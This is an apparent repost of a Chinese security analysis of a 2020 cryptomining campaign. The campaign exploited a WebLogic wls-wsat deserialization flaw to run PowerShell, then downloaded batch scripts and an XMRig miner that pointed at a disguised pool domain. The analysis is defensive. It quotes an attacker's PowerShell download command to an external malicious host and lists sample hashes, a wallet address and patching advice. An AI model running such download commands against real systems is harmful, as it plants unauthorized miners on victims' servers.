搜索

[15816] 2020-09-05_猫池挖矿事件分析

文档创建者：s7ckTeam
浏览次数：6
最后更新：2025-01-18
2020-09-05_猫池挖矿事件分析 猫 池 挖 矿 事 件 分 析 S a m p s o n   F r e e B u f   2 0 2 0 - 0 9 - 0 5 一 、 背 景 一 、 背 景 近 期 发 现 一 起 W e b l o g i c   w l s - w s a t 反 序 列 化 漏 洞 利 用 攻 击 事 件 ， 利 用 该 漏 洞 执 行 p o w e r s h e l l 系 统 命 令 ， 伪 装 矿 池 地 址 ， 不 易 被 发 现 ， 静 默 下 载 猫 池 ( c 3 p o o l . c o m ) 挖 矿 脚 本 ， 并 执 行 脚 本 下 载 X M R 挖 矿 程 序 并 进 行 挖 矿 。 猫 池 会 在 多 种 算 法 的 N 个 币 中 ， 选 择 利 润 最 高 的 币 去 挖 ， 因 此 猫 池 收 益 高 于 只 挖 一 个 币 的 传 统 矿 池 。 智 能 模 块 会 根 据 某 个 币 的 交 易 所 价 格 ， 交 易 所 深 度 ， 挖 矿 难 度 （ 全 网 算 力 ） ， 挖 矿 难 度 变 化 ， 每 块 产 出 币 数 ， 每 块 间 隔 时 间 等 因 素 计 算 当 前 哪 个 币 的 收 益 最 高 ； 猫 池 自 主 研 发 智 能 切 币 和 交 易 引 擎 ， 实 时 地 监 控 N 个 币 的 这 些 信 息 ， 可 以 动 态 地 决 定 分 配 多 少 算 力 到 某 个 币 上 。 二 、 样 本 介 绍 二 、 样 本 介 绍 样 本 基 本 信 息 ： 样 本 样 本 s h a 2 5 6 内 容 内 容 w i n x m r . b a t 9 6 3 E 0 1 2 0 1 4 8 A 9 8 C C 6 8 8 1 2 A 0 3 C 6 C 3 9 6 9 3 8 7 4 0 C D A 5 7 E 8 C F C 5 C 9 9 0 B A 1 3 1 4 B 5 4 D A 9 4 配 置 矿 池 脚 本 p r o x y . b a t 6 9 0 3 b 5 a c 0 a 5 4 5 4 c 5 a 2 d 1 1 2 3 c 7 5 4 b 3 a 3 8 b b 9 d b c d 5 6 d 6 e 6 0 1 a f 0 f 2 0 2 5 e c f f 0 f 3 8 4 安 装 挖 矿 木 马 脚 本 7 z a . e x e 9 8 4 D 5 D 2 1 6 5 7 2 B D 3 1 E 2 A 4 F 9 0 E 8 A D 3 E 3 8 0 7 0 4 F E 7 D 9 6 6 1 9 6 B 7 0 9 F E 0 8 4 5 5 3 A 1 B 6 2 9 C 解 压 工 具 W i n R i n g 0 x 6 4 . s y s 1 1 B D 2 C 9 F 9 E 2 3 9 7 C 9 A 1 6 E 0 9 9 0 E 4 E D 2 C F 0 6 7 9 4 9 8 F E 0 F D 4 1 8 A 3 D F D A C 6 0 B 5 C 1 6 0 E E 5 W i n 挖 矿 配 置 文 件 x m r i g . e x e 1 5 5 4 9 C 2 D F B 5 3 B 1 2 7 A 3 1 1 3 9 4 6 2 9 E 9 0 F 3 B 8 F 3 0 3 5 B 3 D 6 9 A 0 B A 2 7 D A 5 9 2 9 B D 1 0 3 7 5 2 2 X M R 挖 矿 程 序 三 、 详 细 分 析 三 、 详 细 分 析 攻 击 者 利 用 W e b l o g i c   w l s - w s a t 反 序 列 化 漏 洞 （ C V E - 2 0 1 7 - 3 5 0 6 ） 进 行 p o w e r s h e l l 命 令 执 行 攻 击 ， 伪 装 矿 产 地 址 ， 以 便 不 易 被 发 现 。 图   3 - 1   W e b l o g i c   w l s - w s a t 反 序 列 化 漏 洞 攻 击 W e b l o g i c   w l s - w s a t 反 序 列 化 漏 洞 分 析 在 此 不 做 说 明 ， 大 家 可 以 查 相 关 资 料 。 执 行 漏 洞 攻 击 之 后 ， 通 过 D o w n l o a d F i l e ( ‘ h t t p : / / w w w . m i c r o s o f t m e . c o / w i n x m r . b a t ‘ , ’ w i n x m r . b a t ’ )   p o w e r s h e l l 命 令 w i n x m r . b a t 脚 本 ， 脚 本 内 容 如 下 ： 图   3 - 2   w i n x m r . b a t 配 置 矿 池 钱 包 地 址 主 要 作 用 是 设 置 矿 池 钱 包 地 址 ： 4 6 8 v 7 u C u 8 p Q f u M t z b D n P b g L f v v M s 6 U 2 o Y 3 R Z d V w F d X v 3 f g d d 9 2 q f a E W 8 j F w g W 3 i Z L H X k b X T 2 p z v e K C c b w d h Y o J g X H V W U v W b ，
并 下 载 挖 矿 脚 本 。 p r o x y . b a t 脚 本 包 含 的 内 容 如 下 ， 该 脚 本 的 主 要 任 务 是 下 载 X M R 挖 矿 程 序 ， 并 进 行 挖 矿 程 序 的 解 压 和 相 关 配 置 设 置 。 图   3 - 3   下 载 挖 矿 程 序 脚 本 通 过 对 比 该 脚 本 和 官 方 的 s e t u p _ c 3 p o o l _ m i n e r . b a t （ h t t p : / / d o w n l o a d . c 3 p o o l . c o m / x m r i g _ s e t u p / r a w / m a s t e r / s e t u p _ c 3 p o o l _ m i n e r . b a t ） 脚 本 ， 发 现 矿 池 地 址 不 是 m i n e . c 3 p o o l . c o m : 1 3 3 3 3 ， 而 是 x m r . m i c r o s o f t m e . c o : 1 3 3 3 3 。 图   3 - 4   矿 池 地 址 此 外 发 现 p r o x y . b a t 删 除 了 p a u s e ， 这 样 挖 矿 程 序 执 行 完 后 自 动 退 出 D O S 环 境 ， 使 得 感 染 用 户 不 易 察 觉 。 图 3 - 5   设 置 D O S 自 动 退 出 流 量 分 析 发 现 下 载 了 挖 矿 程 序 压 缩 包 。 图   3 - 6   下 载 挖 坑 程 序 通 过 分 析 x m r i g . z i p ， 基 于 修 改 日 志 发 现 该 木 马 程 序 的 生 成 时 间 为 2 0 2 0 年 8 月 2 日 。
图 3 - 7   m i c r o s o f t m e . c o 挖 矿 生 成 时 间 该 矿 机 还 下 载 了 解 压 工 具 7 z a . e x e , 解 压 x m r i g . z i p 压 缩 文 件 。 图   3 - 8   下 载 7 z i p 解 压 工 具 矿 机 配 置 文 件 c o n f i g . j s o n 如 下 ： 图   3 - 9   c o n f i g 配 置 文 件 信 息 通 过 挖 矿 钱 包 地 址 发 现 0 . 0 7 4 9 2 5   X M R ， 已 支 付 1 . 2 7 0 1 9 9   X M R 。 目 前 有 3 9 个 矿 工 执 行 挖 矿 程 序 ， 这 些 矿 工 很 可 能 都 是 被 植 入 了 挖 矿 木 马 的 失 陷 主 机 。
图   3 - 1 0   挖 坑 牟 利 信 息 此 外 ， 在 该 平 台 上 还 发 现 了 一 键 挖 矿 安 装 脚 本 ， 包 含 w i n d o w 版 本 和 l i n u x 版 本 。 图   3 - 1 1   多 平 台 一 键 挖 坑 命 令 四 、 加 固 建 议 四 、 加 固 建 议 W e b l o g i c   漏 洞 修 复 ： 漏 洞 修 复 ： 1 . 升 级 O r a c l e   补 丁 。 h t t p : / / w w w . o r a c l e . c o m / t e c h n e t w o r k / s e c u r i t y - a d v i s o r y / c p u o c t 2 0 1 7 - 3 2 3 6 6 2 6 . h t m l h t t p s : / / l i p e n g 1 9 4 3 . c o m / d o w n l o a d / w e b l o g i c _ p a t c h - c a t a l o g _ 2 5 5 0 4 . z i p 2 . 对 访 问 w l s - w s a t 的 资 源 进 行 访 问 控 制 。 3 . 临 时 解 决 方 案 在 不 影 响 业 务 前 提 下 ， 根 据 实 际 环 境 路 径 ， 删 除 W e b L o g i c 程 序 下 列 w a r 包 及 目 录 。 r m   - f / h o m e / W e b L o g i c / O r a c l e / M i d d l e w a r e / w l s e r v e r _ 1 0 . 3 / s e r v e r / l i b / w l s - w s a t . w a r r m   - f / h o m e / W e b L o g i c / O r a c l e / M i d d l e w a r e / u s e r _ p r o j e c t s / d o m a i n s / b a s e _ d o m a i n / s e r v e r s / A d m i n S e r v e r / t m p / . i n t e r n a l / w l s - w s a t . w a r r m   - r f / h o m e / W e b L o g i c / O r a c l e / M i d d l e w a r e / u s e r _ p r o j e c t s / d o m a i n s / b a s e _ d o m a i n / s e r v e r s / A d m i n S e r v e r / t m p / _ W L _ i n t e r n a l / w l s - w s a t 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理